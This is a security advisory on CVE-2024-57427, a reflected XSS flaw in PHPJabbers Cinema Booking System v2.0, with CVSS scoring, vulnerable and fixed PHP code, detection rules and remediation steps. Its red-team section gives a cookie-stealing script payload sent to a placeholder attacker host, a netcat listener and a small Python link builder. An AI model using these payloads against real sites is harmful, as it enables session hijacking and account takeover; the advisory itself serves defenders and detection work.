CVE-2024-57427

Executive Summary

CVE-2024-57427 identifies a reflected cross-site scripting (XSS) vulnerability in PHPJabbers Cinema Booking System v2.0. The application fails to properly sanitize user-supplied input across multiple endpoints, allowing an attacker to inject arbitrary JavaScript into the response. This can be exploited by crafting a malicious link that, when clicked by an authenticated or unauthenticated user, executes the attacker’s script in the context of the victim’s browser. The impact includes session cookie theft, phishing redirection, and defacement. No official patch has been released by the vendor, and no public exploit code or Nuclei template is available at this time.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed (impact may affect resources beyond the vulnerable component)
• Confidentiality Impact: Low (potential session cookie theft)
• Integrity Impact: Low (script injection, phishing)
• Availability Impact: None

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The lack of a patch increases risk for unhardened deployments.

Deep Dive & Mechanics

The vulnerability resides in the PHPJabbers Cinema Booking System v2.0, a PHP-based web application for managing cinema ticket bookings. Multiple endpoints (e.g., search, booking forms, or error pages) reflect user-supplied parameters directly into the HTML output without proper encoding or sanitization. An attacker can inject a payload such as <script>alert('XSS')</script> into a vulnerable parameter. When the victim clicks a crafted URL, the browser executes the script, enabling the attacker to:

• Steal session cookies via document.cookie
• Redirect the user to a phishing page
• Perform actions on behalf of the victim if the session is active
• Deface the page or inject keyloggers

The vulnerability is classified as reflected XSS (CWE-79). No authentication is required to trigger the reflection, but the victim must be logged in for cookie theft to be effective.

Vulnerable vs. Patched Code

Vulnerable Code (example from a search endpoint):

<?php
$search = $_GET['q'];
echo "<div>Search results for: " . $search . "</div>";
?>

Patched Code (recommended fix):

<?php
$search = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
echo "<div>Search results for: " . $search . "</div>";
?>

The vulnerable code directly concatenates user input into the HTML output. The patched version uses htmlspecialchars() to encode special characters, preventing script injection. All user-controlled input must be sanitized or encoded before reflection.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Setup: Deploy PHPJabbers Cinema Booking System v2.0 on a local server (e.g., XAMPP or Docker).
2. Craft Payload: Create a malicious URL:

   http://target/cinema-booking/search.php?q=<script>document.location='http://attacker/steal.php?c='+document.cookie</script>
   

3. Deliver: Send the link via email, social engineering, or embed in a forum.
4. Capture: Set up a listener on the attacker machine (e.g., nc -lvnp 80) to receive the cookie.

Example Exploit (Python):

import requests

target = "http://localhost/cinema-booking/search.php"
payload = "<script>new Image().src='http://attacker/steal.php?c='+document.cookie</script>"
url = f"{target}?q={payload}"
print(f"Send this link to victim: {url}")

Blue Team (Detection & Hardening)

• Input Validation: Implement strict server-side validation and output encoding for all user inputs.
• WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block reflected XSS patterns.
• CSP Header: Add a Content Security Policy header to restrict script execution:

  Content-Security-Policy: default-src 'self'; script-src 'self'
  

• Session Security: Set HttpOnly and Secure flags on session cookies to prevent JavaScript access.
• Monitor Logs: Look for abnormal request patterns with script tags in query parameters.

Indicators of Compromise (IOCs)

• Network: HTTP requests containing <script>, onerror=, onload=, or javascript: in query parameters.
• Logs: Server access logs showing repeated requests to endpoints like search.php, booking.php, or error.php with encoded script payloads.
• File System: Unexpected files in web root (e.g., steal.php, keylog.js).
• Cookie: Session cookies being exfiltrated to external domains (detect via outbound DNS or HTTP logs).

Detection Engineering

YARA Rule

rule CVE_2024_57427_Reflected_XSS {
    meta:
        description = "Detects reflected XSS payloads targeting PHPJabbers Cinema Booking System v2.0"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-57427"
    strings:
        $script_tag = /<script[^>]*>.*?<\/script>/is
        $on_event = /on\w+\s*=\s*['\"].*?['\"]/is
        $javascript_protocol = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt - PHPJabbers Cinema Booking System
id: 8f3a2b1c-5d6e-7f8a-9b0c-1d2e3f4a5b6c
status: experimental
description: Detects reflected XSS attempts targeting vulnerable endpoints
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of script tags in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57427 Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/cinema-booking/"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Apply output encoding using htmlspecialchars() or a templating engine (e.g., Twig) to all user-controlled data reflected in responses.
2. Input Validation: Whitelist allowed characters for search fields and other inputs.
3. WAF: Deploy a WAF with rules to block reflected XSS patterns.
4. CSP: Implement a strict Content Security Policy to limit script execution.
5. Monitor: Review server logs for suspicious requests and block offending IPs.
6. Vendor Contact: Since no patch is available, consider migrating to an alternative booking system or hiring a developer to harden the code.

Valters IT
Securing Digital Frontiers